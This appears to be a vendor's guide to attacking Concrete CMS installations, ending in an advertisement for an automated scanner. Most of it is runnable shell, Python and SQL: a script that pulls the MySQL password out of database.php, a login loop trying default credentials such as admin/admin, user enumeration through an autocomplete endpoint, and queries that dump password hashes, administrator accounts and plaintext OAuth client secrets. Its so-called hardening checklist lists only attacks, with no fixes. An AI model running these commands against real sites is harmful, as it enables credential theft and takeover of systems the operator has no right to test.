Concrete CMS Security Testing: Default Credentials, API Key, Database, and CMS

Concrete CMS (formerly Concrete5) is a widely deployed open-source CMS favored by small and mid-size organizations for its in-page editing. Key assessment areas: application/config/database.php exposes MySQL credentials; admin credentials are frequently weak at /index.php/login; the /ccm/system/upgrade/ upgrade interface may be accessible; the REST API uses OAuth 2.0 Bearer tokens; and the file manager may allow PHP webshell uploads. This guide covers systematic Concrete CMS security assessment.

Table of Contents

  1. database.php MySQL Credential Extraction
  2. REST API OAuth Token and Admin Credential Assessment
  3. MySQL User Hash and File Manager Assessment
  4. Concrete CMS Security Hardening

database.php MySQL Credential Extraction

# Concrete CMS — database.php MySQL credential extraction
CONCRETE_URL="https://site.example.com"

# application/config/database.php — Concrete CMS DB configuration (CRITICAL)
cat /var/www/concrete/application/config/database.php 2>/dev/null
# Returns PHP array:
# 'connections' => [
#   'default' => [
#     'driver' => 'c5_pdo_mysql',
#     'server' => 'localhost',
#     'database' => 'concrete',
#     'username' => 'concrete',
#     'password' => '...',    <-- MySQL database password
#     'charset' => 'utf8mb4',
#   ]
# ]

python3 -c "
import re
content = open('/var/www/concrete/application/config/database.php').read()
patterns = {
    'password': r\"'password'\s*=>\s*'([^']+)'\",
    'username': r\"'username'\s*=>\s*'([^']+)'\",
    'database': r\"'database'\s*=>\s*'([^']+)'\",
    'server': r\"'server'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Check upgrade interface accessibility
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CONCRETE_URL}/ccm/system/upgrade/" 2>/dev/null)
echo "/ccm/system/upgrade/: HTTP ${STATUS}"

STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${CONCRETE_URL}/index.php/tools/required/dashboard/upgrade/" 2>/dev/null)
echo "/tools/required/dashboard/upgrade/: HTTP ${STATUS}"

# Concrete CMS version disclosure
curl -s "${CONCRETE_URL}/concrete/version.txt" 2>/dev/null | head -3
curl -s "${CONCRETE_URL}/updates/concrete-cms/version.php" 2>/dev/null | head -3

# Test admin credentials at /index.php/login
for CRED in "admin:admin" "admin:concrete" "admin@example.com:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s "${CONCRETE_URL}/index.php/login" | \
    grep -oP 'ccm_token" value="\K[^"]+' | head -1 2>/dev/null)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${CONCRETE_URL}/index.php/login/authenticate/concrete" \
    -d "uName=${USER}&uPassword=${PASS}&ccm_token=${TOKEN}" \
    -c /tmp/concrete_c -b /tmp/concrete_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API OAuth Token and Admin Credential Assessment

# Concrete CMS REST API — OAuth token and admin assessment
CONCRETE_URL="https://site.example.com"

# Concrete CMS REST API uses OAuth 2.0 Bearer tokens
# API documentation: /index.php/ccm/api/

# Get OAuth token with client credentials flow
# (Requires API client configured in Dashboard > System > API)
TOKEN=$(curl -s -X POST "${CONCRETE_URL}/index.php/oauth/2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&scope=system:info" \
  2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)

# Site info (unauthenticated in some versions)
curl -s "${CONCRETE_URL}/index.php/api/v1/system/info" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'Site name: {d.get(\"name\")}')
" 2>/dev/null

# With admin session — enumerate users via dashboard
# Dashboard > Members & Profile > Users
curl -s "${CONCRETE_URL}/index.php/ccm/system/search/users/autocomplete?term=a" \
  -b /tmp/concrete_c 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for u in d[:10]:
    print(f'  {u.get(\"uName\")} | {u.get(\"uEmail\")}')
" 2>/dev/null

MySQL User Hash and File Manager Assessment

# Concrete CMS MySQL database — user hash and file manager assessment
DB_PASS="extracted-db-password"

mysql -u concrete -p"${DB_PASS}" concrete 2>/dev/null << 'EOF'
-- Concrete CMS users with password hashes
SELECT u.uID, u.uName, u.uEmail, u.uPassword,
       u.uIsActive, u.uIsValidated,
       u.uLastPasswordChange, u.uLastLogin, u.uLastIP
FROM Users u
WHERE u.uIsActive = 1
ORDER BY u.uID
LIMIT 20;
-- uPassword: bcrypt ($2y$) in Concrete CMS 8+
-- older Concrete5 versions: SHA-256

-- Admin user identification (uID 1 = admin, or group ADMINISTRATORS)
SELECT u.uName, u.uEmail, u.uPassword
FROM Users u
JOIN UserGroups ug ON u.uID = ug.uID
JOIN Groups g ON ug.gID = g.gID
WHERE g.gName = 'Administrators'
LIMIT 10;

-- OAuth API clients and secrets
SELECT ac.appID, ac.appName, ac.appDescription,
       ac.clientID, ac.clientSecret
FROM OauthClients ac
LIMIT 20;
-- clientSecret: plaintext OAuth 2.0 client secret

-- File storage — check for PHP files uploaded to file manager
SELECT f.fID, f.fDateAdded, fv.fvFilename,
       fv.fvSize, fv.fvType, fv.fvExtension
FROM Files f
JOIN FileVersions fv ON f.fID = fv.fID
WHERE fv.fvExtension IN ('php', 'php5', 'phtml', 'phar', 'shtml')
ORDER BY f.fDateAdded DESC
LIMIT 20;
-- PHP files in file storage = potential webshell
-- Stored in /application/files/ by default
EOF

Concrete CMS Security Hardening

Concrete CMS Security Hardening Checklist:
Security TestMethodRisk
application/config/database.php MySQL password extractionRead /var/www/concrete/application/config/database.php — MySQL database credentials for all CMS content, user data, and OAuth client secretsCritical
/ccm/system/upgrade/ upgrade interface accessibilityGET /ccm/system/upgrade/ — database schema upgrade without admin authentication; potential for unauthorized database modificationHigh
Admin credential brute-force (admin/admin, admin/concrete)POST /index.php/login/authenticate/concrete — admin session; full CMS management, file manager access, user management, theme/block editingHigh
OauthClients plaintext client secret extractionMySQL SELECT clientSecret FROM OauthClients — plaintext OAuth 2.0 client secrets; programmatic API access at the client's permission scopeHigh
Users table bcrypt password hash extractionMySQL SELECT uPassword FROM Users — all user credential hashes; admin account (uID=1) bcrypt compromise enables full site takeoverHigh

Automate Concrete CMS Security Testing

Ironimo tests Concrete CMS deployments for application/config/database.php MySQL password web exposure, /ccm/system/upgrade/ upgrade interface unauthenticated accessibility, admin/admin and admin/concrete credential brute-force at /index.php/login, version disclosure via /concrete/version.txt for CVE targeting, OauthClients plaintext client secret extraction, Users table bcrypt password hash enumeration, Administrators group membership identification, file manager PHP webshell upload (Files table extension filtering), application/config/ directory web access assessment, and OAuth Bearer token enumeration via /index.php/api/v1/.

Start free scan